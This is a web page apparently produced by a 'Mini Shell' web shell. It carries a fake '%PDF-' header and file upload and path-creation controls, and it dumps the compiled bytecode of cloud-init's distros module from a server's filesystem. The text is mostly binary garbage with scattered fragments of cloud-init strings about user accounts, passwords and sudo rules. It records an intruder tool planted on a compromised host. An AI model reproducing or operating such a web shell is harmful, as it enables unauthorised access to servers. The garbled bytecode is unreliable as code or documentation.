%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/lib/python3/dist-packages/cloudinit/distros/__pycache__/
Upload File :
Create Path :
Current File : //proc/self/root/lib/python3/dist-packages/cloudinit/distros/__pycache__/__init__.cpython-312.pyc

�

x[h��
� �ddlZddlZddlZddlZddlZddlZddlZddlm	Z	ddl
mZddlm
Z
ddlmZmZmZmZmZmZmZmZmZmZddlmcmcmZddlmZmZm Z mZm!Z!m"Z"m#Z#m$Z$m%Z%m&Z&ddl'm(Z(m)Z)ddl*m+Z+dd	l,m-Z-dd
l.m/Z/ddl0m1Z1ddl2m3Z3dd
l4m5Z5m6Z6m7Z7ddl8m9Z9ddl:m;Z;ddl<m=Z=dZ>dgdgdgddgddgddgdgdggd�gd�dgd d!gd"�Z?ej�eA�ZBgd#�ZCej�ej�zd$zZFeeeGeeeeeGeeeGeeGfeeeGeeGeffZHGd%�d&eI�ZJGd'�d(e!j�ej��)�ZMd*eGd+eNfd,�ZOd*eGfd-�ZPde&j�fd.�ZRd/�ZSd0eGd1eeMfd2�ZT	d5d3�ZUd4�ZVy)6�N)�defaultdict)�suppress)�StringIO)
�Any�Dict�List�Mapping�MutableMapping�Optional�Set�Tuple�Type�Union)
�helpers�importer�	lifecycle�net�persistence�ssh_util�subp�
temp_utils�
type_utils�util)�LinuxNetworking�
Networking)�PackageManager)�known_package_managers)�hosts)�+ALLOW_EC2_MIRRORS_ON_NON_AWS_INSTANCE_TYPES)�log_with_downgradable_level)�
activators�dhcp�	renderers)�NetOps)�parse_net_config_data)�Renderer�all�alpine�aosc�arch�debian�ubuntu�freebsd�	dragonfly�gentoo�cos�netbsd�openbsd)�	almalinux�amazon�
azurelinux�centos�
cloudlinux�	eurolinux�fedora�mariner�miraclelinux�openmandriva�photon�rhel�rocky�	virtuozzo)�opensusez
opensuse-leapzopensuse-microoszopensuse-tumbleweed�sle_hpcz	sle-micro�sles�suse�	openeuler�OpenCloudOS�	TencentOS)r(r)r*r+r-r/r1r2�redhatrDrErF)�chronyzsystemd-timesyncd�ntp�ntpdate�-c��eZdZy)�PackageInstallerErrorN)�__name__�
__module__�__qualname__���</usr/lib/python3/dist-packages/cloudinit/distros/__init__.pyrNrN}s��rSrNc
�r�eZdZUdZdZdZdZdZdZdZ	dZ
d	d
gZdZdZ
d
gZeeed<iZeeeeeffed<dZeZeeed<dddd�Zej:Zeeed<dZ dZ!dZ"eed<dZ#e$eed<dZ%e$eed<d�Z&de'ddfd �Z(d!�Z)d"e*de+e,ee-e.fe.ffd#�Z/d"e*fd$�Z0e1de2jffd%��Z4e1dee5jlfd&��Z7e1de8fd'��Z9d(e8fd)�Z:d*�Z;dzd+�Z<dzd,�Z=dzd-�Z>e?d.��Z@eAj�d{d/��ZCdd0�d1�ZDd2�ZEdzd3�ZFd{d4�ZGd5�ZHd|deIfd6�ZJeAj�dzd7��ZKeAj�d8��ZLd9�ZMd:�ZNeAj�dzd;��ZOeAj�d<��ZPeAj�d=��ZQd>�ZRd?�ZSe?d@��ZTdA�ZUdB�ZVe1dC��ZWdD�ZXdeIfdE�ZYdF�ZZdeIfdG�Z[dH�Z\dI�Z]dJefdK�Z^dL�Z_d|dM�Z`dNeadOeIfdP�ZbdQ�ZcdzdR�Zdd}dS�ZedzdT�ZfdzdU�ZgehdV��ZiehdzdW��ZjehddX�dYed
edZefd[��Zkd\ed]ed^ed_efd`�Zldefda�Zmd~dbeadceddefde�Zne?dfedgedhediedjedeafdk��Zoe1dl��Zpepj�dm��Zpe?dne'de$e'fdo��Zre?dne'de$e'fdp��Zse?dne'dqe'de$e'fdr��Zte?dseddfdt��Zue?duede$efdv��Zve?dwedewfdx��Zxddy�Zyy)��Distrozpython3-pipz/usr/libz
/etc/hostsz/etc/doas.confz"/etc/sudoers.d/90-cloud-init-usersz
/etc/hostnamez/etc/shadowz/var/lib/extrausers/shadowz
^{username}::z^{username}:!:z/usr/share/zoneinfoz	root:root�service�init_cmd�renderer_configsN�networking_clsz-Hz-Pz-r)�halt�poweroff�reboot�net_ops�Fz/etc/resolv.conf�osfamily�dhclient_lease_directory�dhclient_lease_file_regexc��||_||_||_|j�|_t
j|_tj|_
tj|�|_
g|_d|_d|_d|_y)NT)�_paths�_cfg�namerZ�
networkingr"�ALL_DHCP_CLIENTS�dhcp_client_priority�iproute2�Iproute2r^r�Runners�_runner�package_managers�_dhcp_client�_fallback_interface�is_linux)�selfrf�cfg�pathss    rT�__init__zDistro.__init__�sq�������	���	�&*�&9�&9�&;���$(�$9�$9��!��(�(������u�-���68��� ���#'�� ���
rS�ci_pkl_version�returnc���d|jvs|jjs|j�|_t|d�sd|_t|d�sd|_t|d�sd|_yy)z)Perform deserialization fixes for Distro.rgroNrprqT)�__dict__rgrZ�hasattrrorprq)rrrvs  rT�	_unpicklezDistro._unpickle�sg���t�}�}�,�D�O�O�4L�4L�#�1�1�3�D�O��t�^�,� $�D���t�2�3�'+�D�$��t�Z�(� �D�M�)rSc��t|t�r|St|ttf�rt	|�dk(rt|�Std��)N�z?Invalid 'packages' yaml specification. Check schema definition.)�
isinstance�str�list�tuple�len�
ValueError)rr�entrys  rT�_validate_entryzDistro._validate_entry�sF���e�S�!��L�
���e�}�
-��5�z�Q���U�|�#��
'�
�	
rS�pkglistc��tt�}t�}|D]}t|t�rM|j	�D]9\}}|D]/}|j|�}	|t|j|��1�;�`|j|j|����t|�|fS#t$rtjd|�Y��wxYw)z�Transform the generic package list to package by package manager.

        Additionally, include list of generic packages
        zLCannot install packages under '%s' as it is not a supported package manager!)r�setr~�dict�itemsr�r�add�KeyError�LOG�error)rrr��packages_by_manager�generic_packagesr��package_manager�package_list�
definitions        rT�_extract_package_by_managerz"Distro._extract_package_by_manager�s���*�#�.�� #����	B�E��%��&�5:�[�[�]��1�O�\�&2��
�%)�%9�%9�*�%E�
�	�/� 6�� G��!�c�*�o���!�$�$�T�%9�%9�%�%@�A�!	B�"�'�(�*:�:�:�� (���I�I�!C� /���s�B+�+C
	�C
	c�:�d}|j|�\}}t�}|jD]�}|j|jt��}||z}|j|�|j
�s2tjd|j�|j|��|s��|j|�}	|j|	�|	rtj||	�t|	�|z
}��|j�D]{\}
}|
j|jD�cgc]}|j��c}vr�7|j|
j|j|j �j|����}|rt#||z��ycc}w)NzcFailed to install the following packages: %s. See associated package manager logs for more details.z"Package manager '%s' not available)r�)r�r�rn�get�	__class__�difference_update�	availabler��debugrf�update�install_packages�infor��from_configrmrerN)
rrr��
error_messager�r��total_failed�manager�manager_packages�to_try�failed�manager_type�packages�ps
             rTr�zDistro.install_packages�s���
D�	�
�,�,�W�5�	
���
"%����,�,�	>�G�2�6�6��!�!�3�5� ��&�(8�8�F��*�*�6�2��$�$�&��	�	�>����M��#�#�F�+�����-�-�f�5�F�����'�������/� #�6�{�-=�=��+	>�2':�&?�&?�&A�	�"�L�(�� � �T�5J�5J�$K��Q�V�V�$K�K������(�(��L�L�$�)�)��"�"�8�"�4�
�		��'�
��(D�E�E���%Ls�(Fc��|jr|jS|j}tj|jdg�}|rpg}t
j
d|�|D]O}tjD]$}||jk(s�|j|��9t
jd|��Q|r|}|D]<}	|�|_t
j
d|j�|jcStj��#tjf$r#t
j
d|j�Y��wxYw)aaccess the distro's preferred dhcp client

        if no client has been selected yet select one - uses
        self.dhcp_client_priority, which may be overridden in each distro's
        object to eliminate checking for clients which will not be provided
        by the distro
        )�networkriz.Using configured dhcp client priority list: %sz4Configured dhcp client %s is not supported, skippingzDHCP client selected: %szDHCP client not found: %s)
rorir�get_cfg_by_pathrer�r�r"rh�client_name�append�warning�NoDHCPLeaseMissingDhclientError)rrri�config_priority�
found_clients�client_configured�client_class�clients       rT�dhcp_clientzDistro.dhcp_client sN������$�$�$�
 $�8�8���.�.��I�I�:�B�
����M��I�I�@��
�&5�	
�!�$(�$9�$9��L�(�L�,D�,D�D�%�,�,�\�:���
�K�K�N�)��
	
��'4�$�+�	K�F�
K�$*�H��!��	�	�4�f�6H�6H�I��(�(�(�		K��2�2�4�4���8�8�:�
K��	�	�5�v�7I�7I�J�
K�s�>7D
�
4E�Ec�p�tj|jdd�}tj|��S)z�Return the configured network activator for this environment.

        :returns: The network activator class to use
        :raises: NoActivatorException if no activator is found
        )r�r!N��priority)rr�rer!�select_activator)rrr�s  rT�network_activatorzDistro.network_activator\s3���'�'��I�I�0�$�
���*�*�H�=�=rSc���tj|jdd�}tj|��\}}t
j
d||�||jj|���}|S)N)r�r#r�z-Selected renderer '%s' from priority list: %s)�config)	rr�rer#�selectr�r�rYr�)rrr�rf�
render_cls�renderers     rT�network_rendererzDistro.network_rendererhsj���'�'��I�I�/��
��%�+�+�X�>���j��	�	�;�T�8�	
��T�%:�%:�%>�%>�t�%D�E���rSr�c�&�|j|�y�N)�render_network_state)rr�
network_stater�s   rT�_write_network_statezDistro._write_network_stateus���%�%�m�4rSc���tjj|jt	|��}tjj|�st
d|�d|����|S)NzInvalid timezone z, no file found at )�os�path�join�tz_zone_dirr�isfile�IOError)rr�tz�tz_files   rT�
_find_tz_filezDistro._find_tz_filexsL���'�'�,�,�t�/�/��R��9���w�w�~�~�g�&��>@�'�J��
��rSc�:�|jj||�Sr�)rer�)rr�opt_name�defaults   rT�
get_optionzDistro.get_option�s���y�y�}�}�X�w�/�/rSc�"�||j|<yr�)re)rrr��values   rT�
set_optionzDistro.set_option�s��#��	�	�(�rSc��|j||�}|j||j�|j|�yr�)�_select_hostname�_write_hostname�hostname_conf_fn�_apply_hostname)rr�hostname�fqdn�writeable_hostnames    rT�set_hostnamezDistro.set_hostname�s;��!�2�2�8�T�B�����/��1F�1F�G����/�0rSc��t�S)z?Wrapper to report whether this distro uses systemd or sysvinit.)�uses_systemdrRrSrTr�zDistro.uses_systemd�s���~�rSc��t��r���NotImplementedError)rr�command�args�pkgss    rT�package_commandzDistro.package_command�s
��
"�#�#rS��forcec��|jD]F}|j�s!tjd|j��4	|j|���Hy#t$r+}tjd|j|�Yd}~�yd}~wwxYw)Nz8Skipping update for package manager '%s': not available.r�z%Failed to update package using %s: %s)rnr�r�r�rf�update_package_sources�	Exceptionr�)rrr�r��es    rTr�zDistro.update_package_sources�s����,�,�	�G��$�$�&��	�	�N��L�L���
��.�.�U�.�;�	���
��	�	�;�W�\�\�1����
�s�A�	B� !B�Bc�>�tj�d}|dvry|S)N�)�i386�i486�i586�i686r�)r��uname)rrr*s  rT�get_primary_archzDistro.get_primary_arch�s"���x�x�z�!�}���3�3���rSc�b�|jdg�}|s|j�}t||�S)N�package_mirrors)r�r��_get_arch_package_mirror_info)rrr*�mirror_infos   rTr�z$Distro._get_arch_package_mirror_info�s1���o�o�&7��<����(�(�*�D�,�[�$�?�?rSc�>�|j|�}t||��S)N)�data_sourcer�)r��_get_package_mirror_info)rrr*r��	arch_infos    rT�get_package_mirror_infozDistro.get_package_mirror_info�s&���6�6�t�<�	�'�#��
�	
rSc�*�tj�Sr�)r�generate_fallback_config�rrs rTrzDistro.generate_fallback_config�s���+�+�-�-rSc�L�|j}t||��}|j||�|r4tj	d�	|j
}|j|�ytj	d�y#tj$rtjd�YywxYw)aApply the network config.

        If bring_up is True, attempt to bring up the passed in devices. If
        devices is None, attempt to bring up devices returned by
        _write_network_config.

        Returns True if any devices failed to come up, otherwise False.
        )r�z/Bringing up newly configured network interfacesz>No network activator found, not bringing up network interfacesTz3Not bringing up newly configured network interfacesF)
r�r%r�r�r�r�r!�NoActivatorExceptionr��bring_up_all_interfaces)rr�	netconfig�bring_upr�r�r�s      rT�apply_network_configzDistro.apply_network_config�s����(�(��-�i�(�K�
��!�!�-��:���I�I�G�H�
�$(�$:�$:�!�
�5�5�m�D��
�I�I�K�L����2�2�
����)���
�s�A8�8(B#�"B#c��t��r�r�)rr�locale�out_fns   rT�apply_localezDistro.apply_locale����!�#�#rSc��t��r�r�)rrr�s  rT�set_timezonezDistro.set_timezone�rrSc��y)Nz	127.0.0.1rRrs rT�_get_localhost_ipzDistro._get_localhost_ip�s��rSc��t��r�r�rs rT�
get_localezDistro.get_locale�s��!�#�#rSc��t��r�r�)rr�filenamer�s   rT�_read_hostnamezDistro._read_hostname�rrSc��t��r�r�)rrr�rs   rTr�zDistro._write_hostname�rrSc��t��r�r�rs rT�_read_system_hostnamezDistro._read_system_hostname�rrSc���tjd|�	tjd|g�y#tj$rt	j
td|�YywxYw)Nz2Non-persistently setting the system hostname to %sr�z;Failed to non-persistently adjust the system hostname to %s)r�r�r�ProcessExecutionErrorr�logexc)rrr�s  rTr�zDistro._apply_hostname�sU��
	�	�	�@�(�	
�	��I�I�z�8�,�-���)�)�	��K�K��M��
�	�s�0�.A!� A!c�l�tj|jd|j�r|r|S|s|S|S)N�prefer_fqdn_over_hostname)r�get_cfg_option_boolre�prefer_fqdn)rrr�r�s   rTr�zDistro._select_hostnames;��
�$�$��	�	�6��8H�8H�
���K���K��rSc��g}|D]<}|tvrtdj|���|jt|��>|S)Nz&No distributions found for osfamily {})�
OSFAMILIESr��format�extend)�family_list�distros�familys   rT�expand_osfamilyzDistro.expand_osfamilysS����!�	/�F��Z�'� �<�C�C�F�K���
�N�N�:�f�-�.�	/��rSc��|}|j||�}|r1tjj|�r|j	|�}nd}|j�\}}g}|r||k7r|j
|�|r
||k(r||k7r|j
|�|r|r||k7rtjd||�yt|D�	cgc]}	|	s�|	��	c}	�}tjd|t|��|D]}
	|j||
��||vr|j!|�yycc}	w#t$rtjtd||
�Y�[wxYw)Nz6%s differs from %s, assuming user maintained hostname.z/Attempting to update hostname to %s in %s filesz!Failed to write hostname %s to %s)r�r�r��existsrrr�r�r�r�r�r�r�r�rrr�)rrr�r��prev_hostname_fn�applying_hostname�
prev_hostname�sys_fn�sys_hostname�update_files�f�fns           rT�update_hostnamezDistro.update_hostnamesi��$���(�(��4�8��������/?� @� �/�/�0@�A�M� �M�"&�!;�!;�!=������
�
�� 9���� 0�1���M�)�l�h�.F�����'�
�M�l�m�.K��H�H�H� ��
�

�
�|�9�!�q�A�9�:���	�	�=�����	
��	�B�
��$�$�X�r�2�	��\�!�� � �!2�3�"��#:���
�����<�h���
�s�>D"�D"�7D'�'%E�Ec���d}tjj|j�r3t	j
t
j|j��}n+t	j
d�}t
jd��}|j�}|j|�}d}|s|j|||�d}n�d}|D]<}d}	g}
t|�dk\r|d}	t|�dk\r|dd}
|	��0|	|k(s�6||
vs�;d}�>|r|t|�}|j||g�|j|�|D]H}t|�dk(r|j||d��'t|�dk\s�6|j|g|����J|ret!�}|r|j#d	|z�|j#d	|z�t
j$|j|j'�d
��yy)N��added��baseFTr_rr}z%s
i���mode)r�r�r)�hosts_fnr�	HostsConfr�load_text_file�make_headerr�	get_entry�	add_entryr�r�r��del_entriesr�write�
write_file�getvalue)
rrr�r��header�eh�local_ip�	prev_info�need_changer��
entry_fqdn�
entry_aliases�new_entries�contentss
             rT�update_etc_hostszDistro.update_etc_hosts_s�����
�7�7�>�>�$�-�-�(�����!4�!4�T�]�]�!C�D�B�����$�B��%�%�7�3�F��)�)�+���L�L��*�	�����L�L��4��2��K��K�"�

,��!�
� "�
��u�:��?�!&�q��J��u�:��?�$)�!�"�I�M��)�j�D�.@��=�0�&+��

,��"�9�o���"�"�D�(�#3�4����x�(�(�7�E��5�z�Q�����X�u�Q�x�8��U��q��$����X�6��6�	7�
��z�H�����v��0�1��N�N�6�R�=�)��O�O�D�M�M�8�+<�+<�+>�U�K�rSc�Z�|jstt�|_|jS)z7Allow distro to determine the preferred ntp client list)�_preferred_ntp_clientsr��PREFERRED_NTP_CLIENTSrs rT�preferred_ntp_clientszDistro.preferred_ntp_clients�s'���*�*�*.�/D�*E�D�'��*�*�*rSc�$�|jd�S)N�default_user)r�rs rT�get_default_userzDistro.get_default_user�s�����~�.�.rSc�d�tj|�rtjd|�yd|vr|j	d�}nd}d|g}d|g}tj
�r"|j
d�|j
d�ddd	d
ddd
dddd�
}dddd�}dg}|jd�}	|	r�t|	t�r|	jd�}	t|	t�rtjd|�d�dd��|	D�
cgc]}
|
j���}	}
dj|	�|d<|jd�}|r|	j
|�|rG|	rE|	D]@}tj |�r�|j#|�tj%d||��Bd |j'�vrt|d �|d <t)|j+��D]�\}
}|
|vrZ|rXt|t�rH|j-||
|g�|
|vr|j-||
d!g��M|j-||
|g��d|
|vs�i|s�l|j
||
�|j
||
���|jd"�s|jd#�r#|j
d$�|j
d$�n"|j
d%�|j
d%�tj%d&|�	t/j.||�'�ycc}
w#t0$r"}tj2td(|�|�d)}~wwxYw)*z�
        Add a user to the system using standard GNU tools

        This should be overridden on distros where useradd is not desirable or
        not available.

        Returns False if user already exists, otherwise True.
        z!User %s already exists, skipping.F�
create_groupsT�useradd�--extrausersz	--commentz--homez--gidz--uidz--groups�
--passwordz--shellz--expiredatez
--inactivez--selinux-user)
�gecos�homedir�
primary_group�uid�groups�passwd�shell�
expiredate�inactive�selinux_userz--no-user-groupz--systemz
--no-log-init)�
no_user_group�system�no_log_initr_r^�,z	The user z) has a 'groups' config value of type dictz22.3z=Use a comma-delimited string or array instead: group1,group2.��
deprecated�deprecated_version�
extra_messager\z created group '%s' for user '%s'r]�REDACTED�no_create_homerez-Mz-mzAdding user %s)�	logstringzFailed to create user %sN)r�is_userr�r��pop�system_is_snappyr�r�r~r�splitr�r�	deprecate�stripr��is_group�create_groupr��keys�sortedr�r#rr�r)rrrf�kwargsrV�useradd_cmd�log_useradd_cmd�useradd_opts�
useradd_flags�redact_optsr^�gr\�group�key�valr�s                rT�add_userzDistro.add_user�s&���<�<����H�H�8�$�?���f�$�"�J�J��7�M� �M� �$�'��$�d�+��� � �"����~�.��"�"�>�2�!��$�� �"��(�$�,�
��/� �*�
�
� �j�����H�%����&�#�&����c�*���&�$�'��#�#�!*�4�&�1#� #�'-�#4�	�*0�0�A�a�g�g�i�0�F�0� #�x�x��/�F�8��"�J�J��7�M���
�
�m�,��V��
O���}�}�U�+��%�%�e�,��I�I�@�%��N�
O��F�K�K�M�!���u�
�.�F�5�M��v�|�|�~�.�	;�H�C���l�"�s�z�#�s�/C��"�"�L��$5�s�#;�<��+�%�#�*�*�L��,=�z�+J�K�#�*�*�L��,=�s�+C�D��
�%�#��"�"�=��#5�6��&�&�}�S�'9�:�	;� �:�:�&�'�6�:�:�h�+?����t�$��"�"�4�(����t�$��"�"�4�(�	�	�	�"�D�)�	��I�I�k�_�=���g1��\�	��K�K��7��>��G��	�s�=K?�'L�	L/�
L*�*L/c���|jd�}|jdd�}gd�}|r|jd�|j|�tjd|�	t	j||d��\}}tjd	||�tj|�}|jd
d�}	|	S#t$r"}
tjtd|�|
�d}
~
wwxYw)
zD
        Add a snappy user to the system using snappy tools
        �snapuser�knownF)�snapzcreate-userz--sudoerz--jsonz--knownzAdding snap user %sT)rn�capturez snap create-user returned: %s:%s�usernameNzFailed to create snap user %s)	r�r�r�r�rr�	load_jsonr�r)rrrfryr�r��create_user_cmd�out�err�jobjr�r�s           rT�
add_snap_userzDistro.add_snap_users���
�:�:�j�)���
�
�7�E�*��G����"�"�9�-����x�(�	�	�	�'��.�		�����?�D��J�S�#�
�I�I�8�#�s�C��>�>�#�&�D��x�x�
�D�1�H�
���	�	��K�K��<�d�C��G��	�s�#AB>�>	C)�C$�$C)c�j�tj�r|j|jg}n
|jg}dj	|j
D�cgc]}|j
|����c}�}|D]�}tjj|�s�#tj|�}tjd|�d�|tj�stjd||��ytjd||�tj||tj�s��yycc}w)	z�
        Check whether username exists in shadow files with empty password.

        Support reading /var/lib/extrausers/shadow on snappy systems.
        �|)r��^�:zUser %s not found in %sz0User %s found in %s. Checking for empty passwordTF)rrq�shadow_extrausers_fn�	shadow_fnr��#shadow_empty_locked_passwd_patternsr"r�r�r)r<�re�findall�	MULTILINEr�r�)rrr��shadow_files�pattern�shadow_empty_passwd_re�shadow_file�shadow_contents       rT�$_shadow_file_has_empty_user_passwordz+Distro._shadow_file_has_empty_user_password)s
��� � �"� �5�5�t�~�~�F�L� �N�N�+�L�!$��� $�G�G�
�������1�
�"
��(�	�K��7�7�>�>�+�.��!�0�0��=�N��:�:��8�*�A�.�����M��	�	�3�X�{�K���I�I�B���
�
�z�z�&�������	� ��+
s�D0c��d|vr|j|fi|��S|j|fi|��}d}d}d}d}d|vr!d}d}|dr|j||d�nd}d|vr#d}d}|dr|j||dd��nd}|r>|sKd|vr%d}ttd	t
jd
|f��|j|�}nd|vrd}d}|dsd}|jdd�r|j|�nx|s|r+|rtjd
||�|j|�nI|r$ttd	t
jd|f��n#ttd	t
jd|f��d|vr|dr|j||d�d|vr>|dr|j||d�n#|ddurtjd|�d�dd��d|vr�|d}t!|t"�r|g}n)t!|t$�rt'|j)��}|�Lt!|t*t&t,f�s"tj/dt1|��g}nt-|�xsg}t3j4t-|�|�d|vr�|jdg�}	|	stj/d||d�y|d}
t2j6}|j9d|
�}|j9d|�}t3j4t-|	�||��y)a�
        Creates or partially updates the ``name`` user in the system.

        This defers the actual user creation to ``self.add_user`` or
        ``self.add_snap_user``, and most of the keys in ``kwargs`` will be
        processed there if and only if the user does not already exist.

        Once the existence of the ``name`` user has been ensured, this method
        then processes these keys (for both just-created and pre-existing
        users):

        * ``plain_text_passwd``
        * ``hashed_passwd``
        * ``lock_passwd``
        * ``doas``
        * ``sudo``
        * ``ssh_authorized_keys``
        * ``ssh_redirect_user``
        r�FN�plain_text_passwdT�
hashed_passwd)�hashedr_z24.3z5'passwd' in user-data is ignored for existing user %s)�logger�version�requested_level�msgr��lock_passwdzIAllowing unlocking empty password for %s based on empty '%s' in user-dataz�Not unlocking blank password for existing user %s. 'lock_passwd: false' present in user-data but no existing password set and no 'plain_text_passwd'/'hashed_passwd' provided in user-dataz�Not unlocking password for user %s. 'lock_passwd: false' present in user-data but no 'passwd'/'plain_text_passwd'/'hashed_passwd' provided in user-data�doas�sudozThe value of 'false' in user z's 'sudo' configz22.2zUse 'null' instead.rh�ssh_authorized_keyszZInvalid type '%s' detected for 'ssh_authorized_keys', expected list, string, dict, or set.�ssh_redirect_user�cloud_public_ssh_keysz^Unable to disable SSH logins for %s given ssh_redirect_user: %s. No cloud public-keys present.z$USERz
$DISABLE_USER)�options)r�r��
set_passwdr r��logging�WARNINGr�r�r�r��
unlock_passwd�write_doas_rules�write_sudo_rulesrrsr~rr�r��valuesr�r�r��typer�setup_user_keys�DISABLE_USER_OPTS�replace)rrrfry�pre_existing_user�has_existing_password�ud_blank_password_specified�ud_password_specified�password_keyrw�
cloud_keys�
redirect_user�disable_options            rT�create_userzDistro.create_userKsz��,���%�4�%�%�d�5�f�5�5�!.��
�
�d� =�f� =�=�� %��&+�#� %�����&�(�$(�!�.�L��)�*�����f�-@�&A�B�.2�+��f�$�$(�!�*�L��o�&�����f�_�&=�d��K�.2�+��(��v�%�#+�L�0�"� &�(/���/�"�W�
��=�=�d�C�)�%��6�!�(,�%�'���h�'�26�/�
�:�:�m�T�*����T�"�
"�&;�+��	�	�)�� �	�
���t�$�
�
(��� '���)��W�	
�
(��� '���8��W�
��V���f�~��%�%�d�F�6�N�;��V���f�~��%�%�d�F�6�N�;����5�(��#�#�!>�t�f�E$� $�'-�"7�	�!�F�*��/�0�D��$��$��v���D�$�'��D�K�K�M�*����!�$���c�(:�;��K�K�1��T�
�	��D��t�9�?��D��$�$�S��Y��5��&�(����$;�R�@�J�����L���.�/�	��!'�':� ;�
�!)�!;�!;��!/�!7�!7���!O��!/�!7�!7���!N���(�(��
�O�T�>��rSc�<�dd|gdd|gf}	td�|D��}	tj|�y
#t$r/}td|�d|D�cgc]}|d��	ncc}wc}�d	��|�d
}~wwxYw#t$r"}tjtd|�|�d
}~wwxYw)zL
        Lock the password of a user, i.e., disable password logins
        r_z-l�usermodz--lockc3�RK�|]}tj|d�s�|���!y�w�rN�r�which��.0�tools  rT�	<genexpr>z%Distro.lock_passwd.<locals>.<genexpr>s����J��d�j�j��a��6I�t�J���'�'zUnable to lock user account '� '. No tools available.   Tried: r�.Nz&Failed to disable password for user %s��next�
StopIteration�RuntimeErrorrr�rrr�)rrrf�
lock_tools�cmdr��cs      rTr�zDistro.lock_passwd�s���
 ��t�,�y�(�D�.I�J�
�	��J�
�J�J�C�	��I�I�c�N��
�	��"&�z�(B�!��1��(B��(B�D���
��	���	��K�K��E�t�L��G��	�s7�5�A0�	A-�
A(�A�A(�(A-�0	B�9B�Brfc��dd|gdd|gf}	td�|D��}	tj|ddg��\}}|r5dd|gddd|gf}	td�|D��}	tj|�y
y
#t$r/}td|�d|D�cgc]}|d��	ncc}wc}�d	��|�d
}~wwxYw#t$r"}tjtd
|�|�d
}~wwxYw#t$r/}td|�d|D�cgc]}|d��	ncc}wc}�d	��|�d
}~wwxYw#t$r"}tjtd|�|�d
}~wwxYw)zM
        Unlock the password of a user, i.e., enable password logins
        r_z-ur�z--unlockc3�RK�|]}tj|d�s�|���!y�wr�r�r�s  rTr�z'Distro.unlock_passwd.<locals>.<genexpr>s����L���
�
�4��7�8K�t�L�r�zUnable to unlock user account 'r�rr�N���rcsz%Failed to enable password for user %sz-drYz''c3�RK�|]}tj|d�s�|���!y�wr�r�r�s  rTr�z'Distro.unlock_passwd.<locals>.<genexpr>,s$�����!����D��G�9L�D��r�z/Unable to set blank password for user account 'z(Failed to set blank password for user %sr�)	rrrf�unlock_toolsr�r�r��_r��passwd_set_toolss	         rTr�zDistro.unlock_passwdsz��
"�4��.��J��0M�N��	��L��L�L�C�	��Y�Y�s��A��/�F�A�s��
�4��&��L�$��5� ��	
���%5����
��	�	�#��'���	��"&�|�(D�!��1��(D��(D�F���
��	���	��K�K��D�d�K��G��	��!�
�"�'+�<�,H�a�Q�q�T�,H��,H�J���	��
���
�����C�T�����	
�sv�A3�B.�	C�D�3	B+�<
B&�	B�B&�&B+�.	C�7C�C�	D�%
D�2C?�>D�D�	E� D=�=Ec��	tjdd|g�y#t$r"}tjtd|�|�d}~wwxYw)Nr_z--expirezFailed to set 'expire' for %s)rr�rrr�)rr�userr�s   rT�
expire_passwdzDistro.expire_passwd=s@��	��I�I�x��T�2�3���	��K�K��<�d�C��G��	�s��	A�A�Ac���|�d|��}dg}|r|jd�	tj||d|z��y#t$r"}tjt
d|�|�d}~wwxYw)Nr��chpasswd�-ezchpasswd for %s)�datarnzFailed to set password for %sT)r�rr�rrr�)rrr�r_r��pass_stringr�r�s       rTr�zDistro.set_passwdDso��!%�v�.���l���
�J�J�t��	��I�I��+�1B�T�1I�
���	�	��K�K��<�d�C��G��	�s�;�	A&�A!�!A&�plist_inr�c�~�djd�|D��dz}dg|rdgngz}tj||��y)N�
c3�HK�|]\}}dj||g����y�w)r�N�r�)r�rf�passwords   rTr�z"Distro.chpasswd.<locals>.<genexpr>[s"����K���h����4��*�+�K�s� "r�r�)r�)r�r)rrr�r��payloadr�s     rTr�zDistro.chpasswdXsG���I�I�K�(�K�
��
�	��l��t�f�B�7���	�	�#�G�$rSc�z�d}tjd||�tj||�}|rutjd|j	d��|j	d�|k(rtjd�ytjd|j	d��ytjd	�y)
Nz�^(?:permit|deny)(?:\s+(?:nolog|nopass|persist|keepenv|setenv \{[^}]+\})+)*\s+([a-zA-Z0-9_]+)+(?:\s+as\s+[a-zA-Z0-9_]+)*(?:\s+cmd\s+[^\s]+(?:\s+args\s+[^\s]+(?:\s*[^\s]+)*)*)*\s*$z3Checking if user '%s' is referenced in doas rule %rz!User '%s' referenced in doas ruler_z'Correct user is referenced in doas ruleTz.Incorrect user '%s' is referenced in doas ruleFz/doas rule does not appear to reference any user)r�r�r��searchr�)rrr��rule�rule_pattern�valid_matchs     rT�is_doas_rule_validzDistro.is_doas_rule_valides���
�	�	�	�	�A�4��	
��i�i��d�3����I�I�3�[�5F�5F�q�5I�
�� � ��#�t�+��	�	�C�D���	�	�D��%�%�a�(����I�I�G�H�rSc���|s|j}|D]4}|j||�r�d|�d|�d�}tj|�ydd|zg}|D]}|j	d|z��dj|�}|dz
}tjj|�s?tj�|g}	tj|dj|�d�	�y|tj|�vr	tj||�yy#t$r"}	tjtd
|�|	�d}	~	wwxYw#t$r"}	tjtd|�|	�d}	~	wwxYw)NzInvalid doas rule z for user 'z'', not writing any doas rules for user!r4z# cloud-init User rules for %s�%sr�� r8zFailed to write doas file %sz Failed to append to doas file %s)�doas_fnr�r�r�r�r�r�r�r)rr=rBr�rr<�append_file)
rrr��rules�	doas_filer�r��lines�contentrLr�s
          rTr�zDistro.write_doas_rules�s]������I��	�D��*�*�4��6�@D�T�K���	�	�#���	��5��<�=���	&�D��L�L����%�	&��)�)�E�"���4����w�w�~�~�i�(��(�(�*�G�4�H�
����	�4�9�9�X�+>�U�K�
�d�1�1�)�<�<���$�$�Y��8�=��	�
����C�!?��K����
�����K�K��?����G��	�s0�6'D�6D<�	D9�D4�4D9�<	E'�E"�"E'c��d}d}d}tjj|�rtj|�}d}n4tjj|�rtj|�}d}|j�D]u}|j
�}tjd|�}|s�,|jd�j
�}	|	s�Ntjj|	�}	|	|k(s�sd}n|s�	|sbddtjd�	�d
|zdg}
|rtjd|�|dj|
�z
}tj||d
�nDdtjd�	�d
|zdg}
dj|
�}tj ||�tj#d||�tj(|d�y#t$$r"}tj&td|�|�d}~wwxYw)Nr4Fz/usr/etc/sudoersTz^[#|@]includedir\s+(.*)$r_z?# See sudoers(5) for more information on "#include" directives:r5r6z#includedir %szUsing content from '%s'r�r�zAdded '#includedir %s' to %szFailed to write %si�)r�r�r)rr<�
splitlinesrtr�r�r��abspathr=r�r�r�rBr�r�r�r�
ensure_dir)rrr��	sudo_base�sudoers_contents�base_exists�system_sudo_base�
found_include�line�
include_match�included_dirr�r�s            rT�ensure_sudo_dirzDistro.ensure_sudo_dir�s�������-��
�7�7�>�>�)�$�#�2�2�9�=���K�
